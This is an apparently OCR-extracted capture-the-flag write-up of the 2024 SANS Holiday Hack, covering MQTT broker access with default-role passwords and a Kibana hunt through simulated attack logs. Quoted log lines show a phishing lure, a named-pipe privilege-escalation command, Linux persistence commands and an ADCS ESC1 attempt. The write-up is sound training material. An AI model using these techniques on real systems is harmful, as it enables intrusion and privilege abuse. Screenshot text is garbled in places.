northpolefeeds on the monitors. What username worked here?

After logglng in, there are buttons that show the available clients and roles.

| i
PR Power On Monitors | Power Off Monitors
o R

' o,
Broadeast Feed: *
!‘ 1
SR Connect to broadcast feed

L)

Clients: elfmonitor, WomblyC, AlabasterS
Roles: SiteDefaultPasswordRole, SiteElfMonitorRole, SiteAlabasterSAdminRole, SiteWomblyCAdminRole

Seeing the string "DefaultPassword" in one of the roles, suggests that these role names may be the default passwords for the
clients. Since the challenge says not to use Wombley's or Alabaster's accounts, that leaves - left.
|SiteElfMonitorRole|endS up working the as its password says yes! Use the same IP from the GateXOR and the port from the
scanner, we can turn on the monitors. Then enter [northpolefeeds|from the challenge for the broadcast feed to see Wombley's
hijacked feed.

a Feed Server: EZX 67 133.25

Feed Port: 9001

Power On Monitors § Power Off Monnors
rfv&\ FLd northpclefeeds

L

Santa Vision C: Using the information available to you in the SantaVision platform, subscribe to the frostbitfeed MQTT
topic. Are there any other feeds available? What is the code name for the elves' secret operation?
Changing the broadcast feed to santawsmn we see the operation name: _
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Santa Vision D: There are too many admins. Demote Wombley and Alabaster with a single MOTT message to correct the
northpolefeeds feed. What type of contraption do you see Santa on?

The santafeed shows settings of Alabaster and Wombley being admins and Santa being a superadmin. There's a setting in the
feed: |singleAdminMode:false|. Changing this to will make Santa the only admin, demoting the other two. This could be
done in the web GUI. This updates the pictures showing Santa on a pogostick.

7 . N 2
Publish To Feed 1santafeed e '1% i

Message to Pub singleAdminMode=true|

8 Solution Steps for Gold

. . . . [topic ‘sitestatus’ available.)
Santa Vision A: There is an MQTT topic name that is found at the bottom of the login page:

That feed provides the path of a bin file: /static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin
Creating a URL with that path and the IP and port allows us to download the bin file:

http://34.56.12.78:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin

Running on it shows that it's a jffs2 file, a log-structured file system for use with flash memory devices (Wikipedia).

o)

% file applicationDefault.bin
applicationDefault .bin: Linux jffs2 filesystem data little endian

The clue mentioned using a tool called jefferson to extract the contents of the file:

% pip3 install --user jefferson
% /Users/james/Library/Python/3.9/bin/jefferson applicationDefault.bin -d outdir

dumping fs to /Users/james/Documents/2024 SANS Holiday Hack/santa vision/outdir (endianness: <)
Jffs2 raw inode count: 47

Jffs2 raw dirent count: 47

writing S ISREG .bashrc

The app/src/static directory had a DB folder. One of the clues said to look in a database. But whomp whomp, it was empty.

cd outdir/app/src/static/
1ls
DB DS-DIGI.TTF css images Js

o° oo

We could try to find the file on the actual server, but we don't know the filename. To find the filename, | did a recursive grep for
references to "DB" which found a path and filename!

o

% grep -R DB *
__init .py:#### DB and APP setup ##
accounts/views.py:@accounts bp.route("/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqglite", methods=["GET"])

DOMHﬂoadthefﬂethhthleRL:http://34.67.141.142:8000/static/sv2024DB—Santa/SantasTopSecretDB—Z024—Z.sqlite

Open the file in sqlite3 to find the new credentials:

% sqlite3 SantasTopSecretDB-2024-Z.sqglite

sglite> .tables

alembic version wusers

sglite> select * from users;

1 |santaSiteAdmin | S4n+4sr3411yCO00Lp455wd|2024-01-23 06:05:29.466071|1

An online viewer, https://inloop.github.io/sqlite -viewer/, could also view it:

SQLite Viewer

view sqlite file online

Drop file here to It
users
SELECT * FROM 'users' LIMIT @,30@

id username password

1 santaSiteAdmin S4n+4sr3411yC00Lp455wd
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Santa Vision B: Looking at the HTTP headers (as mentioned in the hints) in Burp Suite or in the browser dev tools.

BrkrTopic: northpolefeeds
BrkrUser: santashelper2024
BrkrPswd: playerSantaHelperPass2295100679

DevTools - 34.67.133.25:8000/auth?id=viewer&loginName=santaSiteAdmin
Elements Console Sources Network Performance Memory Application Security Lighthouse »»
4 Preserve log Disable cache Nothrotting v . 2
Invert More filters v  All Fetch/XHR || Doc || CSS || JS | Font | | Img | Media | Manifest || WS || Wasm | Ot

500 ms 1000 ms 1500 ms 2000 mg 2500 ms 3000 ms 3500 ms 4000 ms 4500 ms 5000 ms 5500 ms

Name X Headers Payload Preview Response Initiator Timing Cookies

[] styles.css ¥ General

5 2id=vi i =
=l auth?id=viewergloginName=... Request URL: http://34.67.133.25:8000/auth?id=viewer&loginName=santaSiteAdmin

Request Method: GET

[ jquery.min.js Status Code: @ 200 OK

[] bootstrap.min.css Remote Address: 127.0.0.1:8080

[ jquery-3.6.1.min js Referrer Policy: strict-origin-when-cross-origin
[5] bootstrap.bundle.min.js

[ styles.css ¥ Response Headers

[ mattws31.js

= login.jpg
Brkrpswd: playerSantaHelperPass5983146996

Brkrtopic: northpolefeeds

[ jquery.min.js

[ mqttJS.js
Brkruser: santashelper2024 #

Cache-Control: public, max-age=0

— logo.png

Santa Vision C: Taking the odd answer from silver and using the rotate cipher in Cyberchef, the answer is Snowmobile.

Idemcer:

S R demcerybu
ec 10 = 1

Rotate lower case chars Output
Snowmobilel

Rotate upper case chars ] Rotate numbers

Amount

10

Santa Vision D: Perform the same action as in Silver, but in MQTTX. Create a new connection using the same settings used in
the webpage: elfmonitor, SiteElfMonitorRole, server IP, and 1883 port from the port scan. This is the default port used by MQTT.

Name SantaVision
Host maqtt:// 34.67.133.25
Port 1883
Client ID mqttx_301e1f25
Username elfmonitor

Password

Background Info: MQTT
MOTT (Message Queuing Telemetry Transport) is a lightweight messaging protocol designed for communication between
devices, especially useful in the Internet of Things (loT). In MQTT, there are two main components: the broker and the client.

The broker acts like a middleman that manages the messages being sent and received. Clients are the devices or applications
that connect to the broker to send or receive messages. Clients can publish messages to a topic, and other clients can
subscribe to that topic to receive those messages.
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At the bottom right of the app, set the [singleadminMode=t rue| to the santafeed to see Santa on a hovercraft.

Plaintext QoS 0 Retain Meta -

santafeed
singleAdminMode=true -

Key Learnings
e How to do a basic port scan.
e How to connect to an MQTT server and view feed via a website and the MQTTX tool.
e How to publish to MQTT feeds.
e How to analyze JFFS2 files
e Look at html source and http headers. Alternate http ports.

Act 3: EIf Stack % % % % %

Help the EIfSOC analysts track down a malicious attack against the North Pole domain.

© Goals
Track down a malicious attack while learning ELK and log analysis

% Key Hints

e |'m part of the EIfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody
uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own
solution. Any way is possible to hunt through our logs!

e If you are using your command line skills to solve the challenge, you might need to review the configuration files from
the containerized Elf Stack SIEM.

e One of our seasoned EIfSOC analysts told me about a great resource to have handy when hunting through event log
data. | have it around here somewhere, or maybe it was online. Hmm.

Background Info: Elastic Stack
ELF Stack SIEM is a play on the term ELK Stack (the previous term for Elastic Stack). Elastic Stack is a powerful set of tools for
searching, analyzing, and visualizing data in real-time. It consists of Elasticsearch (a search engine), Logstash (a data
processing pipeline), Kibana (a visualization tool), and Beats. Beats are lightweight data shippers that collect and send data
from various sources. There is a way to search using Elasticsearch, but it seems the intention is to use Kibana's Discover
which is fast and powerful.

8 Solution Steps for Silver

Follow the instructions in the help to get the ELF Stack container up and running in Docker. | needed to run it on somewhat

modern hardware (~3 years old). The hardware | usually use is much older (I love old hardware), but| could not get it to work on

them unfortunately. It can take 30 minutes for it to come up. When it's ready, you should get output like this:
[2024-12-28T721:27:39.722056+00:00] INFO: Total number of lines sent across all log files: 2343146.

[2024-12-28T
hx

- R
WEAATE T RS

I S -
I

JE IS
P00 o CE S
\

\

SRRk kKRR KRR AR K
LOGIN INFORMATION:
URL: http://localhost:5601
Username: elastic
Password: ELFstackLogin!

SET DATE IN ANALYSIS: DISCOVER TO 2024
HAARKAAAHAAR KA AAHAAAAAAA KA AR A AR KK KA KKK

Finished

Open the following in a browser: http://localhost:5601 with credentials: |elastic)|[ELFstackLogin!
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Also, although | was able to answer most questions using Kibana, there was at least one where | needed to search using grep.
Many others on Discord also mentioned similar experiences.
¢ Background Info: Kibana Basics
Terms:
e Document: A single record in your data. It’s similar to a row in a traditional database. Each document contains
information in a structured format, typically stored in JSON format in Elasticsearch.
e Fields: Identifiers orlabels of data within a document. They are similar to columns in a database table or keys in key-
value pairs.
e Values: The actual data contained within fields.

Click on the hamburger icon at the top left to open the menu. Select |Discover| under the Kibana icon. Our data is in September
2024, so in the date selection on the top right of the page, choose [relative|land[i vears ago|to coverthe dates of our data.

& elastic
El® o ~ ~ayearago > now C Refresh
Absolute Rela Now
K. Analytics ~
1 Years ago <
|

Kibana Query Language (KQL and not to be confused with Kusto Query Language) is a simple yet powerful way to search and
filter your data.

= . New Open Share Alerts Inspect

Filtering using
EIf Stack = | @ Q |F‘mer your data using KQL syntax K‘E::g:g;gw v Last15months G Document K ¢ 54 of 500 > >l .
Actions: ) 3
i ki Search field namesl = 0 Auto interval No breakdown @
i Search for
~ Popular fields @ Fields 1 1,200,000
10 0 Table JSON
k event_source e
mouseover a field, () Search field names
v Available fields @ 702 a + appears and an Apr "
_ you can add a field 2024 o )
0 @timestamp as a column in the Field Value
/ document listing. [5:35.654 - Dec 29, 2024 @ 20:35:35.654 (interval: Auto - 7 days) )
k @version k _id 35d8ab1086149596ch39a72fe
. . 27183092196e8c4
k data_stream.dataset Documents (2)Q79,470)  Field statistics
k _ignored -
k data_stream.namespace 2 ®
Sort fields 1 ER, %= [ . .
k data_stream.type k _index .ds-logs-generic-default-2024.1
2.28-000001
k event_source N Document
# _score -
k event.AccessCheckResults 1 mestamp Sep 16, 2024 @ 89:01:
28.@8 timestam :00:
k event.AccessCheckResults_READ_CO o ton 1 d d o et P Sep 16, 2024 @ 09:00:01.000
NTROL L version ata_stream.datase.. :
k @version 1
k event.AccessCheckResults_ReadAttri s | Sep 16, 2024 @ 89:81:27.000 @timestamp Sep 16, 2824 @ 09:01:
butes 27.80 k data_stream.datas  generic
i t
k event.AccessCheckResults_ReadData @ @version 1 data_stream.datase.. €
orListDirectory

8 Solution Steps for Silver

Q1: How many unique values are there for the event_source field in all logs?

To answer this, we will use the Kibana Visualize feature. Click on the field list, then click on the
popup. This takes you out of and to the |Kibana Visualize Libraryl. On the right side, switch to the selection to
and increase the Top # to as shown in the screenshot. You'll see there are I different values. You can use the back button to

get back to Kibana .
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EIf Stack v = @ QU Filter your data using KQL syntax

Q1 Search field names = 0 @ Auto interval ~ No brel
~ Available fields 702

B @timestamp

k  @version
k data_stream.dataset 203 e
k data_stream.namespace
k data_stream.type
t = . I Visualize Liprary  Create l Note the Change Explore in Discover Inspect  Share  Settings
) i

event_source @® event_source ® = 2 to Visualize
k evenl.AccessChec‘ws | sk~ = @ QU Fiter your data using KaL syntax B> Lastismonths || O
k eventAccessChf o c

jck on Top values d q = 5
\ Search field names witch to
ONTROL avant astrs i ) ) Q Search field name o 7 o
N o then Visualize WindowsEvent 100.0% g

k cCesst 1 s 5

?;irl‘;s 4 Records Top 10 values of event_source Count of records EIf Stack v

i

SnowGlowMailP: 0.0 D
wislowhalxy @~ selecieationas 2 WindowsEvent 2,036,042

k event.AccessCheckResults_ReadDa

Rows Optonal
taorListDirectory

frore . . K event_source NetflowPmacet 34,638
culated from 5,000 sample records. 5 different values Top 10 values of event_source
¢ Records GreenCoat of event source 7,364

4 + Add or drag-and] Change to
k evenl.AccessCheckResults_SYNCH - - ~ Available fislds 201 SnowGlowMailPxy 1,191 Top 10
RONIZE Visualize .
2 @timestamp AuthLog 235 Spiit metrics by

k evenl.AccessCheckResults_WriteDa

i 2 e ad | i Guacsion +_Add or drag-and-drop a field

k event.AccessCheckResults_ReadEA

Q2: Which event_source has the fewest number of events related to it?

From the screenshot above, we see - the fewest number of events with 235 records.

Q3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the syste m
the log event originated from?

After typing (with the colon) in the top filter bar for KQL, a drop down with the available values will be shown.

Select and press enter. Opening any document, we will see that the _ has name of the system,

krlnglesslelgHL
(U event_source:"AuthLog" B~ Lastlyear G Document 10of 235 > 3|
Elf Stack = @ QU eventsource]
Actions: [3 View single document B Viey
" = [
@ "Authlog” 5 Documents (235) Field statistics = [0
Bl  Q Search field names i .
\GreenCoat® @timestamp (O & event.From v Table JSON
v Selected fields ®  "NetflowPmacct" Do Sep 16, 2824 @ ©8:21:01.208 -
k evenlsource < Sep 16, 2024 © B8:22:62.000 - -m“
@  "SnowGlowMailPxy"
B 7 Sep 16, 2024 @ B8:22:02.800 - Field Value
~ Popular fields © @ "WindowsEvent” 3
7 Sep 16, 2024 @ 98:21:01.800 - k eventhostname B kringlessleig

Q4: Which event_source has the second highest number of events related to it?

From the screenshot in Q1, _with 34,638 records.

Q5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination
port of the Netflow logs?

Do the filter like in Q3 but for [Net £ 1owPmacct]. In the filter search, search for [port], and you'll see different fields with port in

them. As you click through them, you'l find that _ has values.

Q6: Which event_source is related to email traffic?
Looking at the 5 event_sources from Q1, we can tell that _ is the answer.
Q7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
Do the filter like in Q3 but for [snowG1owMailpxy|. Click the expand button to see a document on the right to find that the
_ has the email text.
Q8: Using the 'GreenCoat' event_source, what is the only value in the hostname field?
Do the filter like in Q3 but for [greencoat]- Search for aos tname] in the filter. Click through the results to find [fEcureBl £Guy]-
' Side Note
The GreenCoat is a reference to Blue Coat which has a proxy product. Proxies sit between clients and servers and are good for
securing outbound web traffic.

Q9: Using the 'GreenCoat' event_source, what is the name of the field that contains the site visited by a client in the netwo rk?
Click the expand button to see a document on the right. Look through the values to see that the _ is where the user
was attempting to connect to.

Q10: Using the 'GreenCoat' event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit
most?

Filter the fields for , and click like in Q1. Switch to table view to see that
_ is the most visted with 150 records.

Q11: Using the 'WindowsEvent' event_source, how many unique Channels is the SIEM receiving Windows event logs from?
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Do the filter like in Q3 but for iindowsEvent| In the filter search, search for [channe1]. Click on [event . channel], and click

like in Q1. Switch to Table view and select top 6 to see that there are only § different values.
Q12: What is the name of the event.Channel (or Channel) with the second highest number of events?

From the table in Q11, Microsoft Windows Sysmon/Operationall.

Q13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID
related to loading of a driver?

Doing an online search for|sysmon event id load driverl gives the answer of 6. None were found in the logs.

Q14: What is the Windows event ID that is recorded when a new service is installed on a system?

Doing an online search gave an answer of 4697. There were 14 documents with this EventID.

Q15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
Doing an online search gave an answer of 4720. There were 0 documents with this EventID.

8 Solution Steps for Gold

Q1: What s the event.EventlD number for Sysmon event logs relating to process creation?

Doing an online search [sysmon event id process creation|gave ananswer of .

Q2: How many unique values are there for the 'event_source' field in all of the logs?
Like the Silver Q1: 5
Q3: What is the event_source name that contains the email logs?

Like the Silver Q6: [SnowG1lowMa il Pxy]|

Q4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The
attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result,
one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the
value in the event 'From:' field for this email log event.

Filter forfevent source:"snowGlowMailPxy"| Then in the field filter, search for [received|. Under event.ReceivedIP2, there is one
IP with 0.1% of the values, 34.30.110.62. Click on the plus to add itas a [Field value Filter| Expand the document and filter

the table by from to see the email address, [keiskringle@northpole.locall.

Elf Stack “ = @ QQ event_source :"SnowGlowMailPxy" Documents (1)  Field statistics T Sortfields 1 % [
@timestamp (O - Document
/3] received = 0 &3} Auto interval v No brea
; ) Sep 15, 2824 @ B7:36:09.000 event_source SnowGlowMailPxy event.ReceivedIP2 34.
Vv Available fieids a 30.118.62 @timestamp Sep 15, 2024 @ 87:36:09.08

8 @version 1 data_stream.dataset generi..

event.Received_Time

event.ReceivediP1

¢ eiznlReceived £y event.ReceivedlP2 & = ¢

Table JSON

Slzm

B D Field
Calculated from 1,191 records. & event.From kriskring 1e@northpole.local

Alternate way using grep:

v

Meta fields

Top values

o)

% grep SnowGlowMail *log > snowglowmail
% egrep -o '[0-9]{1,3}\.[0-9]1{1,3}\.[0-9]1{1,3}\.[0-9]{1,3}' snowglowmail | sort | uniqg -c | sort -nr
1398 172.24.25.25
1397 172.24.25.20
1 34.30.110.62

o)

% grep 34.30.110.62 snowglowmail

log chunk 1.10g:<134>1 2024-09-15T10:36:09-04:00 SecureElfGwy SnowGlowMailPxy - - - {"From":
"kriskringle@northpole.local", "To": "elf user02@northpole.local", "Subject": "URGENT!", "Date": null, "Message-
ID": "<F3483D7F-3DBF-4A92-813D-4D9738479E50@SecureElfGwy.northpole.local>", "Return-Path":
"frOsen@hollyhaven.snowflake", "Body": "We need to store the updated naughty and nice list somewhere secure. I

posted it here http://hollyhaven. snowflake/howtosavexmas.zip. Act quickly so I can remove the link from t he
internet! I encrypted it with the password: n&nli$t finAll \n\nthx!\nkris\n- Sent from the sleigh. Please excuse
any Ho Ho Ho's.", "Received Time": "2024-09-15T10:36:09-04:00", "ReceivedIP1": "172.24.25.25", "ReceivedIP2":
"34.30.110.62"}

Background Info: regex

e The command above uses a regular expression (regex) to extract out IP addresses. Regular expressions are
sequences of characters that define a search pattern. Think of regex as a powerful tool that helps you search for
words, phrases, or patterns in text with precision and efficiency. Besides finding IP addresses, other examples include
finding email addresses or to validate a phone number format.
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e The sequence of piped commands |sort | unig -c | sort —nr| is a nice way to group rows with the same value,
count them, and then sort them from the most common to the least common.
Q5: Our EIfSOC analysts need your help identifying the hostname of the domain computer that established a connection to

the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as

an event source. Since itis a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the
system.

From the body of the email above, it had a link to |http ://hollyhaven. snowflake/howtosavexmas . Zipl. Searching for this in the
search bar, Kibana finds itimmediately as we type itin. There's just one document. Event.host is _

Q event_source :"GreenCoat" and e\rent.url:"http:,’,’h|"

@D "http://hollyhaven.snowflake/howtosavexmas.zip”

grep GreenCoat *log > greencoat.txt
grep hollyhaven.snow greencoat. txt

o° 0P

log chunk 1.log:<134>1 2024-09-15T10:36:26-04:00 SecureElfGwy GreenCoat - - - {"ip": "172.24.25.12",
"user identifier": "elf user02", "timestamp": "2024-09-15T10:36:26-04:00", "method": "GET", "url":
"http://hollyhaven.snowflake/howtosavexmas.zip", "http protocol": "HTTP/1.1", "status code": 200,

"response size": 1098, "protocol": "HTTP", "additional info": "outgoing via 172.24.25.25", "host":
"SleighRider"}

Q6: What was the IP address of the system you found in the previous question? See previous question: _

Q7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID
number (digits only please)? -

Elf Stack ~ = [+] Q| event_source :"WindowsEvent" AND event.EventID:1 AND hostname:"SleighRider.northpole.local” ~  Last 15 months G

Filter by clues from Q1 and Q5, then scroll to the

B9  Q Search field names = 0 Documents (108)  Field sta right time while looking for related .exe file. lumns 3 T Sortfields 1 % O
~ Selected fields 2 @timestamp O ™ k event.CommandLine # event.ProcessID
k | event.CommandLine R " | |
- . o Added these fields | Sep 15, 2824 @ @7:37:50.600 t[:.\Users\ezl‘:;user?2\Dc'wmlaads\huwtc'savexmas\how 18,014
event.Process| i osavexmas. .exe
to be seen in X P Process 1D (turns out all were the

middle section same for this host with EventlD:1

| grepped for machine name, suppressing filename, piped to sort and save to file to analyze timelne on host. |found 10014 be
created and used for DNS for the ransomware

[}

% grep -h SleighRider.northpole.local *log | sort > SleighRider.northpole.local.txt

Q8: Did the attacker's payload make an outbound network connection? Our EIfSOC analysts need your help identifying the
destination TCP port of this connection. -

Elf Stack v = (] Q Ievent_source:"WindowsEvent" AND event.SourceAddress :"172.2425‘12"' X v ~ayearago - now (&}

IevenLAppIication: \dewce\harddlskvolume3\users\e|f,userOZ\downIoads\howtosavexmas\howlosavexmas.pd!.exel X

Added this filter from
- = Kibana Visualize
) QSearchfi = 0 Field statistics Columns 4 $ Sortfields 1 % |3

v/ Selected fields 3 @timestamp © ™ # event.DestPort # event.Networkinformation_ k event.Application
DestinationPort

#| event.DestPort

| Sep 15, 2024 @ 07:37:50.000 8,080 8,443 | \device\harddiskvolume3\users\elf_user@2\downloads\howtosavexmas
#| event.Networkinform -2
ation_DestinationPort Added \howtosavexmas..pdf.exe
these fields
k| _event.Application as columns

Q9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel.
Submit the alpha-numeric name for the IPC channel used by the attacker.

https://www.elastic.c o/guide/en/sec urity/current/privile ge-escalation-via-named-pipe-impersonation.html

From the above link, it mentioned the following:

process.args : "\\\\.\\pipe\\*"

| ran this:

grep '"\\\\.\\pipe' *.log > namedpipes.txt

There were 2 possible answers:

\\\\.\\pipe\\ddpvecdbs

\\\\.\\pipe\\pyavhs
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From https://detect.fyi/threat-hunting-suspicious-named-pipes-a4206e8a4bc8 Event IDs: 7045 and 4697

Q) |event_source :"WindowsEvent" AND event.EventID:7045 OR event.EventID:4697| v ~ayearago - now c

Documents (17)  Field statistics Columns 4 T Sortfields 1 °5
@timestamp O T™ k event.ServiceFileName k event.ServiceName # event.EventID
e I:I Sep 15, 2624 @ 67:38:22.800 cmd.exe /c echo ddpvccdbr &gt; ddpvcedbr 4,697

\\.\pipe\ddpvccdbr

v | )] Sep 15, 2024 @ ©7:38:22.808 cmd.exe /c echo ddpvccdbr > ddpvccdbr 7,845

\\.\pipe\ddpvcecdbr

Q10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's

process.
10014 was the processID for the other named pipes. 4663 is the event id for accessing files. (ref)
() event_source :"WindowsEvent" AND event.ProcessID:10014 AND event.EventID:4663 ~ ~ayearago - now qg
Documents (1)  Field statistics Columns 4 I Sortfields 1 %= [
@timestamp (O I # event.EventlD # event.ProcessID k event.ObjectName
7 [ sep 16, 2024 @ 4,663 18,814 |C:\Users\elf_userBZ\Desktop\kkrin91315@18,12,25,24,pemI
87:45:48.0800
% grep 4663 10014.txt | egrep -o '\{.*' | jq
{

"EventTime": "2024-09-16 10:45:48",
"Hostname": "SleighRider.northpole.local",
"Keywords": -9223372036854775808,
"EventType": "AUDIT SUCCESS",
"SeverityValue": 4,

"Severity": "INFO",
"EventID": 4663,
"SourceName": "Microsoft-Windows-Security-Auditing",

"ProviderGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}",
"Version": 1,

"Task": 12800,

"OpcodeValue": 0O,

"RecordNumber" : 123456,

"ProcessID": 10014,

"ThreadID": 6340,

"Channel": "Security",
"Domain": "NT AUTHORITY",
"AccountName": "SYSTEM",
"UserID": "S-1-5-18",
"AccountType": "User",
"Category": "Object Access",
"Opcode": "Info",

"UtcTime": "2024-09-16T10:45:48-04:00",

"ProcessGuid": " {faceOb26-426e-660c-eb0£f-000000000700}",

"ProcessName": "C:\\Users\\elf user02\\Downloads\\howtosavexmas\\howtosavexmas.pdf.exe",
"ObjectServer": "Security",

"ObjectType": "File",

"ObjectName": "C:\\Users\\elf user02\\Desktop\\kkringl315@10.12.25.24.pen",
"HandleID": "O0x3fc",

"Accesses": "READ CONTROL, SYNCHRONIZE, ReadData",

"AccessMask": "0x120089",

"EventReceivedTime": "2024-09-16T10:45:48-04:00",

"SourceModuleName": "inSecurity",

"SourceModuleType": "im msvistalog"

}

Q11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hosthname of the target
server?

Searched for sshd and found all hostnames were kringleSSleigH (notice that the capital letters spell SSH).

2024 SANS Holiday Hack Report by James Mar 55



https://detect.fyi/threat-hunting-suspicious-named-pipes-a4206e8a4bc8

EIf Stack = @ Q | event.message:*ssh*] (x )
Q Searchfi = 0 Documents (25)  Field statistics Columns 3
v Selected fields 2 @timestamp ™ t event.message k event.hostname
t t. A Mo VY = . .

evenL.message ' password for codecrunch from kringleSSleigH

H 118.62 port 39728 ssh2

gventhostname * event.hostname = @ P
 Popular fields © 10 publickey for kkringl315 from kringleSSleigH
¢ EventlD Top values 1109.62 port 39733 ssh2: RSA
# event.Even ] ; oy
kringlesSleigH 100% ® o :ZxnmQ23LgHtX5987Km3Nd X jUHWVVBr
# event.Process|D -
ix(sshd:session): session closed for user kringleSSleigH
k event_source Calculated from 25 records. 1315

Q12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account
created by the attacker?

After grepping around, | found - is the Linux command to create a new account. This was likely chosen as it looks
close to the user which is associated with the process (SSH daemon).

event.message:*adduserf*

Documents (1) Field statistics Columns 3
@timestamp (O ™ t event.message k event.hostname

7] Sep 16, 2024 @ kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root kringleSSleigH
87:59:45.000 ; COMMAND=/usr/sbin/adduser

Q13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to
achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?

EIf Stack v = O Q Ievent.message:*TTY* I [ ] ~ Last 15 months

|event.hostname: kringleSSleigH X host.ip: 172.18.0.5 X event_source: AuthLog X @timestamp: Sep 16, 2024 @ 07:59:45.000 to Sep 16, 2024 @ 08:59:45,00[1 X

Q Searchfi = 0 Documents (7)  Field statistics Columns 2 4 Sortfields 1 B

v Selected fields 1 @timestamp (® T t event.message

t event.message 7 (] sep 16, 2024 @ kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; COMMAND=/usr/sbin/adduser ssdh
07:59:45.000

~ Popular fields @ 10

# eventEventlD <! : Sep 16, 2024 @ kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; CGMMAND{/USrfsbin/usermod -a -G sudo ssdhl

0g8:00:14.000

Q14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit
the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded
against the domain controller.

After grepping in the logs, | found that there were a lot of hits with in the description field starting at the time in green. It
was 9-10 events/second. Looking in Kibana, it lasted over 2 minutes.

% grep -i ldap *log > ldap.txt

% cut -f2 -d ' ' 1ldap.txt | sort | unig -c | head
1 2024-09-15T06:04:19-04:00
9

10 2024-09-16T11:10:13-04:00
10 2024-09-16T11:10:14-04:00
10 2024-09-16T11:10:15-04:00
10 2024-09-16T11:10:16-04:00
10 2024-09-16T11:10:17-04:00
10 2024-09-16T11:10:18-04:00
10 2024-09-16T11:10:19-04:00
10 2024-09-16T11:10:20-04:00
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o

Q I event.Description :*LDAP*

v Sep 16,2024 @ 08:10:07.206 > Sep 16, 2024 @ 08:12:19.572 G Refresh

=

Auto interval No breakdown v 0
10
8
6
4
2
0
08:10:00 08:10:15 08:10:30 08:10:45 08:11:00 08:11:15 08:11:30 08:11:45 08:12:00

September 16, 2024

Sep 16, 2024 @ 08:10:07.206 - Sep 16, 2024 @ 08:12:19.572 (interval: Auto - second)

Q15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit
the name of the software responsible for preventing this initial attack.

% grep -i denied *.log

log chunk 2.log:<134>1 2024-09-16T11:14:12-04:00 dc01l.northpole.local WindowsEvent - - - {"LogName": "Security",
"Source": "Microsoft-Windows-Security-Auditing", "Date": "2024-09-16T11:14:12-04:00", "EventID": 4888,
"Category": "Certification Services - Certificate Request Denied", "Level": "Information", "Keywords": "Audit
Failure", "User": "N/A", "Computer": "dcOl.northpole.local", "Description": "A certificate request was made for

a certificate template, but the request was denied because it did not meet the criteria.",
"UserInformation UserName": "elf user@northpole.local", "CertificateInformation CertificateAuthority": "elf -

dc01-SeaA", "CertificateInformation RequestedTemplate": "Administrator", "ReasonForRejection": "KEinglecuard EDR
flagged the certificate request.", "AdditionalInformation RequesterComputer": "10.12.25.24",
"Additional Information RequestedUPN": "administrator@northpole.local"}

Q16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully
requested a certificate on behalf of? -
From the above screenshot, the starts with "Certification." | put this into Kibana and found one certificate issued.

Q IeventACategcry:Certiﬁcation'I [} v~ Last1year [&] Document I ¢ 20of 3 >
Actions: [} &)
Documents (3)  Field statistics 4 Sortfields 1 o
@timestamp O 4~ Document
Table JSON
e l:\ Sep 16, 2824 @ event.Category Certification Services - Certificate Request Denie
08:14:12.08088 d @timestamp Sep 16, 2824 @ ©88:14:12.8@ Q user o
8 @version 1 data_stream.dataset generic data_stream.namespace defaul.
¥ [j Sep 16, 2824 @ event.Category Certification Services -|Certificate Issuance|@timestamp S Field Value
88:15:12.000 ep 16, 2824 @ 08:15:12.800 @version 1 data_stream.dataset generi
c data_stream.namespace default data_stream.type logs event_source Wind.. k eventUser N/A
A () sep 16, 2024 @ event.Category Certification Services - Certificate Template Managemen k %Ve"t‘u“""fﬂrma nonhpule,local
88:15:12.060 t @timestamp Sep 16, 20824 © B8:15:12.00 tion UPN

@ @version 1 data_stream.dataset generic data_stream.namespace defaul.. K eventUserinforma  elf user@northpole.local

tion_UserName

Q17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the
folder name of the share they accessed.

From online search, the Windows event ID for accessing a file share is 5140. Adding the IP from Q4, we see - The
[SubjectUserName|isn't[putcrakrl, but the is seen in the above screenshot as the [UserInformation UserNamel.

QU [event.EventiD :5140 and event.lpAddress :"34.30.110.62" | (] v Lastiyear G
Documents (7)  Field statistics Columns 4 4 Sortfields 1 % [0
@timestamp O k event.ShareName k event.Networkinformation k event.SubjectUserName
_SourceAddress
v I:J Sep 16, 2024 @ \\* 34.308.118.62
088:14:09.000
& m Sep 16, 2024 @ \\*\ADMINS 34.30.118.62 elf_user2
08:27:22.000

Q18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain
administrative privileges. What is the password for the account the attacker used in their attack payload?
The event ID for when a PowerShell command is issued is 4104.
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% grep -i nutcrakr *.log | grep 4104 | egrep -o '\{.*\}' | jg .
{

"MessageNumber": 1,

"MessageTotal”: 1,

"ScriptBlockText": "Add-Type -AssemblyName System.DirectoryServices\n$ldapConnString = \"LDAP://CN=Domain
